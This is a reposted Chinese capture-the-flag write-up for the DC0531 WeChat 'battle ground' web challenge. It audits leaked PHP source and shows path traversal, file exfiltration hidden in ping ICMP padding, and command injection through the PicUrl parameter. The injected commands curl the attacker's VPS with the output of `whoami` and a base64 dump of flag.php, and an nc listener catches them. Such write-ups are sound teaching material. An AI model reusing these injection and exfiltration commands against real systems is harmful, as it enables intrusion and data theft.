一道有意思的web题&DC0531-web

栏目: 服务器 · 发布时间: 6年前

内容简介:今天恰好放假,遇到一个比赛,发现了一个比较有意思的题目,于是做了一下总结,于是有了这篇文章这样是被过滤的,刚开始我是想找到我的ceye的ip:port

一道有意思的web题&DC0531-web

前言

今天恰好放假,遇到一个比赛,发现了一个比较有意思的题目,于是做了一下总结,于是有了这篇文章

题目流程

题目首先给出一个公众号,本以为是一个签到题,没想到成为全场比赛我认为质量最高的题目。。。

当然比赛的时候本人很菜,没有做出,赛后进行了复现,感谢C26大佬的writeup。

首先是关注微信公众号,然后我们按照提示操作

一道有意思的web题&DC0531-web

依次使用后,并没有发现有用的点

并且 shoot a target (s:xxx) 十分瞩目

因为我们不知道攻击对象,全靠猜

后来发现竟然是跟一个ip

一道有意思的web题&DC0531-web

随后上了我的vps,想尝试让题目访问我的vps

结果发现日志是看不到的,这里就猜测到可能使用了ping这样的命令

最初的想法是用ceye的dns log查看访问记录

结果发现不能指定域名,例如:

s:skysec.top

这样是被过滤的,刚开始我是想找到我的ceye的ip:port

但是发现好像依旧不能收到dns log = =

于是我只能想办法在自己的服务器上进行流量捕捉

最好方法应该就是tcpdump了,方便快捷

首先上vps查看网卡

ifconfig

发现网卡为eth0

然后利用tcpdump抓取这个网卡的icmp包

tcpdump -i eth0 icmp

发现果然抓到了ping的请求

一道有意思的web题&DC0531-web

得到目标ip为

139.198.3.171

然后对目标ip进行探测

发现存在.git泄露

一道有意思的web题&DC0531-web

利用 工具 将源码下载下来,进行审计

一道有意思的web题&DC0531-web

攻击思路思考

发现关键控制器

139.198.3.171/Application/Home/Controller/TestController.class.php

关键代码如下

$msg = $wechat->serve();
            $this->username = $msg->FromUserName;
            $this->real_path = $this->tmp_path . md5($this->salt . $this->username);
            if(!is_dir($this->real_path)){
                mkdir($this->real_path);
                system('cp ./Public/* '.$this->real_path);
                $this->info['weapon'] = 'fist';
                $this->info['status'] = 100;
                $this->info['bullet'] = substr(base64_encode(file_get_contents($this->real_path.'/'.$this->info['weapon'])),0,100);

            }else{
                $this->info = json_decode(file_get_contents($this->real_path . '/info'),TRUE);
            }


            // 回复文本消息
            if ($msg->MsgType == 'text') {
                if(!strstr($msg->Content,':')){
                    $wechat->reply($this->menu());
                }else{
                    $tmp = explode(':' , $msg->Content);
                    $func = $tmp[0];
                    $arg = $tmp[1];
                    switch ($func) {
                        case 'f':
                            $wechat->reply($this->f());
                            break;
                        case 'p':
                            $wechat->reply($this->p($arg));
                            break;
                        case 'r':
                            $wechat->reply($this->r());
                            break;
                        case 's':
                            $wechat->reply($this->s($arg));
                            break;
                        case 'c':
                            $wechat->reply($this->c());
                            break;
                        case 'sh':
                            $wechat->reply($this->sh());
                        default:
                            $wechat->reply("Unsupported method!n");
                            break;
                    }
                }

            }else if($msg->MsgType == 'image') {
                $wechat->reply($this->u($msg->PicUrl));
            }else{
                $wechat->reply("Unsupported message type!n");
            }

            // store user info
            file_put_contents($this->real_path . '/info' , json_encode($this->info));
        }

        public function menu(){
            $menu = '';
            $menu .= "Welcome to Hence's unknown battle ground!n";
            $menu .= "you have following options to utilize:n";
            $menu .= "1. find a weapon (f:)n";
            $menu .= "2. pick up a weapon (for instance: p:kar98)n";
            $menu .= "3. reload a weapon (r:)n";
            $menu .= "4. shoot a target (s:xxx)n";
            $menu .= "5. check ur weapon's status (c:)n";
            $menu .= "6. upload ur weapon (just upload image-file)n";
            $menu .= "7. show ur weapon (sh:)n";
            return $menu;

        }

        public function f(){
            $res = "Here are your weapons:n";

            foreach (scandir($this->real_path) as $value) {
                if($value != '.'  && $value != '..' && $value != 'info'){
                    $res .= $value . "n";
                    array_push($this->all_weapons,$value);
                }
            }
            return $res;
        }

        public function p($weapon){
            $res = "";
            if(!is_file($this->real_path . '/' . $weapon)){
                $res = "No such weapon! U bitch!n";
            }else{
                $this->info['weapon'] = $weapon;
                $this->info['bullet'] = substr(base64_encode(file_get_contents($this->real_path . '/' . $this->info['weapon'])),0,100);
                // no bullets initially
                $this->info['status'] = 0;
                $res = "You have changed ur weapon to " . $weapon . "n";
            }
            return $res;
        }

        public function r(){
            $res = "";
            $this->info['status'] = 100;
            $res = "Reload OK!";
            return $res;
        }

        public function s($target){
            $res = "";
            if(!preg_match('/^(?:25[0-5]|2[0-4]d|1dd|[1-9]d|d)(?:[.](?:25[0-5]|2[0-4]d|1dd|[1-9]d|d)){3}$/', $target)){
                $res = "This is not a target! R U kidding?n";
            }else{
                // make sure u have bullets
                if($this->info['status']>0){
                    $this->info['status'] = $this->info['status'] - 1;
                    $bullet = $this->info['bullet'][100 - $this->info['status']];
                    system("ping -c 1 -W 1 -p '" . bin2hex($bullet) ."' ".$target . " 2>&1 1>/dev/null");
                    $res = "You hit it once!n";
                }else{
                    $res = "You have run out of bulletsn";
                }
            }
            return $res;
        }

        public function c(){
            $res = "Ur weapon is " . $this->info['weapon'] . "n";
            $res .= $this->info['status'] . " bullet(s) leftn";
            return $res;
        }

        public function u($PicUrl){
            shell_exec("wget " . $PicUrl . " -O " . $this->real_path . '/' . $this->info['weapon']." 2>&1 1>/dev/null");
            return "Update your weapon successfully!";
        }

        public function sh()
        {
           return "Sorry, not support yet!n";
        }

    }

通读全部代码,关注点停留在如下几个函数

public function p($weapon){
    $res = "";
    if(!is_file($this->real_path . '/' . $weapon)){
        $res = "No such weapon! U bitch!n";
    }else{
        $this->info['weapon'] = $weapon;
        $this->info['bullet'] = substr(base64_encode(file_get_contents($this->real_path . '/' . $this->info['weapon'])),0,100);
        // no bullets initially
        $this->info['status'] = 0;
        $res = "You have changed ur weapon to " . $weapon . "n";
    }
    return $res;
}

可以清楚看到,这个函数中有读文件操作

$this->info['bullet'] = substr(base64_encode(file_get_contents($this->real_path . '/' . $this->info['weapon'])),0,100);

并且由于 $weapon 可控,这里完全可以在知道绝对路径的情况下进行目录穿越和任意文件读取

但是关于 $this->info['bullet'] 的输出点,我们后续再看

然后是命令执行的一个函数

public function s($target){
    $res = "";
    if(!preg_match('/^(?:25[0-5]|2[0-4]d|1dd|[1-9]d|d)(?:[.](?:25[0-5]|2[0-4]d|1dd|[1-9]d|d)){3}$/', $target)){
        $res = "This is not a target! R U kidding?n";
    }else{
        // make sure u have bullets
        if($this->info['status']>0){
            $this->info['status'] = $this->info['status'] - 1;
            $bullet = $this->info['bullet'][100 - $this->info['status']];
            system("ping -c 1 -W 1 -p '" . bin2hex($bullet) ."' ".$target . " 2>&1 1>/dev/null");
            $res = "You hit it once!n";
        }else{
            $res = "You have run out of bulletsn";
        }
    }
    return $res;
}

这里想直接利用system非常困难,因为 $target 被过滤,而 $bullet 已经被转为16进制,需要进行组合攻击

以及另一个命令执行点

public function u($PicUrl){
    shell_exec("wget " . $PicUrl . " -O " . $this->real_path . '/' . $this->info['weapon']." 2>&1 1>/dev/null");
    return "Update your weapon successfully!";
}

这里相对来说,$PicUrl没有过滤,如果能够伪造,则可以命令执行

那么我们依次分析这两种攻击

利用ping进行任意文件读取

回到最初的文件读取

public function p($weapon){
    $res = "";
    if(!is_file($this->real_path . '/' . $weapon)){
        $res = "No such weapon! U bitch!n";
    }else{
        $this->info['weapon'] = $weapon;
        $this->info['bullet'] = substr(base64_encode(file_get_contents($this->real_path . '/' . $this->info['weapon'])),0,100);
        // no bullets initially
        $this->info['status'] = 0;
        $res = "You have changed ur weapon to " . $weapon . "n";
    }
    return $res;
}

我们尝试目录穿越

p:../../../../../../etc/passwd

得到回显

You have changed ur weapon to ../../../../../../etc/passwd

但是如果我们发送

p:../../../../../../test

则会收到

No such weapon! U bitch!
一道有意思的web题&DC0531-web

这里就和代码完全吻合了

如果我们构造的目录穿越后的目录存在,则会成功file_get_contents()

而如果目录不存在,则会提示

而我们根据git泄露的代码知道,flag.php位置应该在

/var/www/html/flag.php

我们尝试读取

一道有意思的web题&DC0531-web

发现可以成功改变

那么下一个问题就是如何将读取的内容打出来

我们观察到这个函数

public function s($target){
    $res = "";
    if(!preg_match('/^(?:25[0-5]|2[0-4]d|1dd|[1-9]d|d)(?:[.](?:25[0-5]|2[0-4]d|1dd|[1-9]d|d)){3}$/', $target)){
        $res = "This is not a target! R U kidding?n";
    }else{
        // make sure u have bullets
        if($this->info['status']>0){
            $this->info['status'] = $this->info['status'] - 1;
            $bullet = $this->info['bullet'][100 - $this->info['status']];
            system("ping -c 1 -W 1 -p '" . bin2hex($bullet) ."' ".$target . " 2>&1 1>/dev/null");
            $res = "You hit it once!n";
        }else{
            $res = "You have run out of bulletsn";
        }
    }
    return $res;
}

如之前提及,去bypass $target实现任意命令执行显然比较困难

但这里我们可以发现

system("ping -c 1 -W 1 -p '" . bin2hex($bullet) ."' ".$target . " 2>&1 1>/dev/null");

在系统执行ping命令的时候会带出$bullet的数据

而$bullet的来源则是:

$bullet = $this->info['bullet'][100 - $this->info['status']];

正是我们之前任意文件读取的值 info['bullet']
于是我们选择抓取icmp包,并查看详情

tcpdump -i eth0 icmp -nn -XX -vvv

一道有意思的web题&DC0531-web 当然这也看很难受,我们将其重定向到文本里

tcpdump -i eth0 icmp -nn -XX -vvv > tcpdump.txt
然后我们去公众号疯狂请求 s:vpsip

然后将tcpdump.txt稍作处理

一道有意思的web题&DC0531-web

不难看出所有的icmp包携带了base64

我们将其导出合并得到

D9waHAKJGZsYWcgPSAiREMwNTMxe1dlY2hBdF9Jc19Tb19DMG9sfSI7Cg==

但是直接解码是不能成功的,我们随便补上一位

一道有意思的web题&DC0531-web

成功得到flag

DC0531{WechAt_Is_So_C0ol}

RCE-方法1

我们可以看到如下代码

public function u($PicUrl){
    shell_exec("wget " . $PicUrl . " -O " . $this->real_path . '/' . $this->info['weapon']." 2>&1 1>/dev/null");
    return "Update your weapon successfully!";
}

这里是我最开始做题的时候的想法

但是这里的$PicUrl若想可控,需要过前面的判断

else if($msg->MsgType == 'image') {
    $wechat->reply($this->u($msg->PicUrl));
}else{
    $wechat->reply("Unsupported message type!n");
}

这里想到的第一件事就是抓包,但是微信抓包显然不太容易

后来才想到,可以利用thinkphp的路由调用

http://139.198.3.171/?c=test&a=u&PicUrl=;curl vpsip:8888/`whoami`

这里c代表controller,a代表action

而我们选择testcontroller和u函数触发代码

然后再vps上监听

nc -l -vv 8888

即可收到回显

一道有意思的web题&DC0531-web

获取flag

http://139.198.3.171/?c=test&a=u&PicUrl=;curl vpsip:8888/`cat%20/var/www/html/flag.php%20|%20base64`

得到flag

PD9waHAKJGZsYWcgPSAiREMwNTMxe1dlY2hBdF9Jc19Tb19DMG9sfSI7Cg==

RCE-方法2

法2类似强网杯的wechat那题

https://www.cnblogs.com/iamstudy/articles/2th_qiangwangbei_ctf_writeup.html

查看sdk,然后构造xml注入攻击

这里也是通过c26大佬的题解才有所了解

文件路径如下

ThinkPHP/Library/Gaoming13/WechatPhpSdk/Wechat.class.php

public function reply($msg)

可以看到如下代码

case 'text_simple':
$xml = sprintf('<xml>'.
    '<ToUserName><![CDATA[%s]]></ToUserName>'.
    '<FromUserName><![CDATA[%s]]></FromUserName>'.
    '<CreateTime>%s</CreateTime>'.
    '<MsgType><![CDATA[text]]></MsgType>'.
    '<Content><![CDATA[%s]]></Content>'.
    '</xml>',
    $this->message->FromUserName,
    $this->message->ToUserName,
    time(), 
    $msg);
break;

可以大概对xml的格式有个了解

剩下的就是构造了

大致如下

<xml>
    <ToUserName>2</ToUserName>
    <FromUserName>1</FromUserName>
    <CreateTime>1529256180</CreateTime>
    <MsgType>image</MsgType>
    <Content><![CDATA[123]]></Content>
    <PicUrl>;{cmd};</PicUrl>
</xml>

然后就是利用现有代码和泄露的key进行签名,伪造攻击,就不再赘述

注:

git泄露的token并不是真实的

这里也是c26大佬发现了文件泄露

http://139.198.3.171/Application/Home/Controller/TestController.class.php.bak

后记

感谢师傅们赛后的交流,让我从一个题目中涨了不少姿势,感谢OTZ。

审核人:yiwang   编辑:边边


以上所述就是小编给大家介绍的《一道有意思的web题&DC0531-web》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

极致:互联网时代的产品设计

极致:互联网时代的产品设计

戴维•罗斯 / 中信出版集团 / 2016-6 / 49.00元

在不远的未来,日常物品将能够迅速理解我们的需求,改善我们的生活,并随处可见。为了实现这一预期,我们需要能够发现用户使用产品的场景,找到用户高频刚需痛点的产品设计者。 站在下一个转型发展的悬崖上,我们看到技术将更具人性。随着物联网的发展,我们习以为常的数百件日常物品:汽车、钱包、手表、雨伞甚至垃圾桶,都将回应我们的需求,了解我们,学习为我们思考。最先出现的智能硬件为什么是智能手环、无人驾驶汽车......一起来看看 《极致:互联网时代的产品设计》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

随机密码生成器
随机密码生成器

多种字符组合密码

MD5 加密
MD5 加密

MD5 加密工具